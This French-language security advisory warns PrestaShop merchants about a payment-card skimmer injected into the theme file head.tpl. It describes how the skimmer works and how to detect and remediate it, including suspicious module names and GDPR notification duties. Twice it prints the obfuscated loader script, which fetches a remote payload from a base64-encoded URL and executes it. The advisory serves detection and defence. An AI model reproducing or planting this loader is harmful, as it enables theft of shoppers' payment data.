Nous avons récemment identifié une menace de sécurité affectant certaines boutiques en ligne de l’écosystème PrestaShop. Un script malveillant (« digital skimmer ») a été détecté et pourrait avoir entraîné le vol des informations de paiement de certains de vos clients.
Que fait ce digital skimmer ?
Ce malware fonctionne en remplaçant les boutons de paiement légitimes sur la page de commande par des boutons frauduleux. Lorsqu’un client clique sur l’un de ces faux boutons, il est redirigé vers un formulaire de paiement contrefait destiné à capturer ses informations de paiement.
Le skimmer est simplement chargé via une balise <script>, écrite directement dans le fichier _partials/head.tpl du thème actif de la boutique. Cela signifie que l’attaquant a pu modifier un fichier de la boutique.
Comment vérifier si ma boutique est atteinte ?
En front-office
Vous pouvez vérifier le code de votre front-office en inspectant une page de votre site (clique droit, puis "inspecter"). Regardez à l’intérieur de la balise <script>, si vous trouvez le code suivant, cela veut dire que votre boutique est impactée :
<script>(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();</script>
A noter : La partie aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz change à chaque fois, mais la structure du code reste la même, et la fonction atob() est toujours utilisée. Du code peut être présent avant ou après (le skimmer tente de se dissimuler en étant légèrement différent sur chaque boutique).
Sur votre serveur
Pour vérifier dans vos fichiers :
1. Vous pouvez retrouver la même balise script dans un fichier sur votre serveur. Connectez vous à votre serveur par FTP puis naviguez via le dossier theme puis le dossier du theme actif > dossier template > _partial > head.tpl Sur ce dernier fichier, faites un clique droit puis "afficher/éditer”, et cherchez la même balise :
<script>(function(){var x=new XMLHttpRequest;x.open('GET',atob('aHR0cHM6Ly9wbHZiLnN1L2J0Lmpz'));x.onload=function(){if(200===x.status)try{Function(x.responseText)()}catch(e){}};x.send();})();</script>
2. Egalement dans vos fichiers, si vous trouvez le module "mloader" au "simplefilemanager" sous le dossier "/modules/", alors cela signifie aussi que votre boutique est impactée.
Que faire si ma boutique est concernée ?
- Changez les mots de passe pour vos différents accès (back-office, base de données, FTP, SSH, sans oublier de mettre à jour l'accès à la base de données dans le fichier de config PrestaShop).
- Vérifiez vos logs pour voir si des données de vos clients ont été exfiltrées. Le cas échéant, il faudra porter plainte à la gendarmerie et contacter la CNIL.
- Consultez un professionnel de la sécurité informatique pour faire vérifier l'intégralité de votre site. Seul un professionnel peut vous garantir la sécurisation de votre boutique.
Dois-je prévenir mes clients ?
En votre qualité de responsables de traitement au sens du RGPD, il vous appartient d’évaluer l’existence d’une violation de données et, le cas échéant, de procéder aux notifications requises. Conformément aux articles 33 et 34 du RGPD, toute violation susceptible d’engendrer un risque pour les droits et libertés doit être notifiée à la CNIL dans un délai de 72 heures, et aux personnes concernées en cas de risque élevé (un guide pratique est disponible sur le site de la CNIL).
⚠️ À ce stade, nous vous recommandons vivement d’effectuer une vérification complète de la sécurité de vos boutiques PrestaShop et de vous assurer qu’aucune d’entre elles n’a été compromise.